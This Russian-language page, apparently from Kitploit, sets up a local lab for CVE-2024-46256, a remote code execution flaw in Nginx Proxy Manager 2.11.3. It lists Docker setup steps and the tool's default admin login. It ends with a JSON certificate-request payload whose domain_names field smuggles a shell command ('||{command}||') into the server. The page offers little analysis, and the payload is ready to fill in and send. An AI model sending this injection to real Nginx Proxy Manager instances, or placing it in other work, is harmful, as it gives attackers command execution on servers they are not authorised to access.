CVE-2024-46256 — CVE-2024-46256 инструмент | Kitploit

Поделиться

CVE-2024-46256 Анализ уязвимости RCE в Nginx Proxy Manager

Настройка окружения

1. Запуск среды Nginx Proxy Manager 2.11.3


docker-compose up -d

Или можно использовать автоматический скрипт:


python setup_environment.py

2. Доступ к Nginx Proxy Manager

URL: http://localhost:81
После завершения начальной настройки проведите тестирование
Войдите под учетной записью администратора по умолчанию (email: [email protected] / пароль: changeme)
Проверьте права доступа к функциям выдачи сертификатов

Информация об уязвимости

CVE ID: CVE-2024-46256

{
  "domain_names": ["test.com\"||{command}||\\n test.com\""],
  "meta": {
    "dns_challenge": false,
    "letsencrypt_agree": true,
    "letsencrypt_email": "[email protected]"
  },
  "provider": "letsencrypt"
}